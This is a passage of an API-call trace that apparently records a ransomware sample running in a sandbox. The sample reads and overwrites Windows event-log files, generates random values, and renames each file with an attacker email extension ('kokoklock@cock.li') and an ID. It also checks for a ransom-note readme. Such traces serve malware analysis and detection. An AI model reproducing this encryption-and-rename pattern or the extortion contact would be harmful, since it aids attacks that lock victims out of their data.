RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0164.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.909] CloseHandle (hObject=0x4a0) returned 1 [0164.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95ed8 [0164.909] wcscpy (in: _Dest=0x2f95ed8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" [0164.909] wcscat (in: _Dest=0x2f95ed8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.909] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.910] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95ed8) returned 1 [0164.910] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.910] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.910] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.910] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.910] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6dc60) returned 1 [0164.910] RtlExitUserThread (Status=0x1) Thread: id = 1544 os_tid = 0xefc [0164.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.912] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.913] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.913] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x73efc0c | out: lpFileSize=0x73efc0c*=69824) returned 1 [0164.913] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.913] ReadFile (in: hFile=0x4a0, lpBuffer=0x73efbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x73efbe0*, lpNumberOfBytesRead=0x73efbdc*=0x4, lpOverlapped=0x0) returned 1 [0164.914] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab410 [0164.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0164.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab488 [0164.914] NtQuerySystemTime (in: CurrentTime=0x73efbb8 | out: CurrentTime=0x73efbb8*=132121213222249448) returned 0x0 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x2171f29f [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xaabd2566 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x8e1480ba [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x810537b2 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xcb21800e [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xdee3fb64 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xb14ed0ec [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x65d69560 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xf075d907 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x21a59fb7 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xb579751b [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x69edfbf9 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xd5c0b69 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xa5fd87ae [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x7630d580 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x483b704c [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xbd67c97c [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xafaa0d23 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xa51d76fd [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x5159fb83 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x616b52b5 [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xee4e8c5b [0164.914] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x1179ea17 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xd9e85d0c [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xf2048cc8 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xc76ace16 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xce864406 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xedcf115d [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x3919f96a [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x1f54cbb6 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0xc424cbb7 [0164.915] RtlRandom (in: Seed=0x73efbc4 | out: Seed=0x73efbc4) returned 0x9ae1c13d [0164.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0164.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab500 [0164.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab410) returned 1 [0164.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.927] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.927] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x73efb90, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x73efb90*=0x4096, lpOverlapped=0x0) returned 1 [0164.928] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.928] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2d0 [0164.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x73efb90, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x73efb90*=0x4096, lpOverlapped=0x0) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.929] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x73efbc8, lpOverlapped=0x0 | out: lpBuffer=0x2fab2d0*, lpNumberOfBytesWritten=0x73efbc8*=0x20, lpOverlapped=0x0) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2d0) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x2fab500*, lpNumberOfBytesWritten=0x73efbdc*=0x8, lpOverlapped=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x73efbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x73efbf4*, lpNumberOfBytesWritten=0x73efbdc*=0x4, lpOverlapped=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x73efbdc*=0x4, lpOverlapped=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x73efbdc*=0x6c, lpOverlapped=0x0) returned 1 [0164.930] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x2fab668*, lpNumberOfBytesWritten=0x73efbdc*=0x20, lpOverlapped=0x0) returned 1 [0164.930] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73efbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x73efbdc*=0x4, lpOverlapped=0x0) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab500) returned 1 [0164.930] CloseHandle (hObject=0x4a0) returned 1 [0164.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85918 [0164.930] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.930] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.930] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.931] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.931] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.931] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.931] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.931] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.931] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98570) returned 1 [0164.932] RtlExitUserThread (Status=0x1) Thread: id = 1545 os_tid = 0xf00 [0164.937] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.938] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.938] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.938] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x746fd40 | out: lpFileSize=0x746fd40*=69824) returned 1 [0164.938] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.938] ReadFile (in: hFile=0x4a0, lpBuffer=0x746fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x746fd14*, lpNumberOfBytesRead=0x746fd10*=0x4, lpOverlapped=0x0) returned 1 [0164.939] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab410 [0164.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0164.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab4b0 [0164.939] NtQuerySystemTime (in: CurrentTime=0x746fcec | out: CurrentTime=0x746fcec*=132121213222604736) returned 0x0 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x281d6175 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x74a30643 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x7e94f086 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x49768d62 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x52ce296a [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x14574933 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x934be2b3 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x9f52a8c1 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xf3428109 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x72b11e50 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x584ecc2 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xd4e4852a [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x957fd4ae [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xd1583fe9 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x11048c4a [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x2fc9ae52 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xdf449b9 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xf17785b5 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x1842330e [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x201d6206 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x3c537ec1 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xfbdec2f [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x8648dcdd [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xa433c7af [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x7f490987 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x92b778a8 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xe9c1379c [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xecd11d08 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xc2e3efad [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0xcef91526 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x7cd30ed1 [0164.940] RtlRandom (in: Seed=0x746fcf8 | out: Seed=0x746fcf8) returned 0x8b99c9ac [0164.949] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0164.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab500 [0164.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab410) returned 1 [0164.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.951] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.951] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x746fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x746fcc4*=0x4096, lpOverlapped=0x0) returned 1 [0164.952] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2d0 [0164.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0164.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0164.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.952] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x746fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x746fcc4*=0x4096, lpOverlapped=0x0) returned 1 [0164.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.953] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.953] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x746fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2fab2d0*, lpNumberOfBytesWritten=0x746fcfc*=0x20, lpOverlapped=0x0) returned 1 [0164.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2d0) returned 1 [0164.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.953] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x2fab500*, lpNumberOfBytesWritten=0x746fd10*=0x8, lpOverlapped=0x0) returned 1 [0164.953] WriteFile (in: hFile=0x4a0, lpBuffer=0x746fd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x746fd28*, lpNumberOfBytesWritten=0x746fd10*=0x4, lpOverlapped=0x0) returned 1 [0164.953] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x746fd10*=0x4, lpOverlapped=0x0) returned 1 [0164.953] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x746fd10*=0x6c, lpOverlapped=0x0) returned 1 [0164.954] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x2fab668*, lpNumberOfBytesWritten=0x746fd10*=0x20, lpOverlapped=0x0) returned 1 [0164.954] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x746fd10, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x746fd10*=0x4, lpOverlapped=0x0) returned 1 [0164.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0164.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0164.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab500) returned 1 [0164.954] CloseHandle (hObject=0x4a0) returned 1 [0164.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85918 [0164.954] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" [0164.954] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" 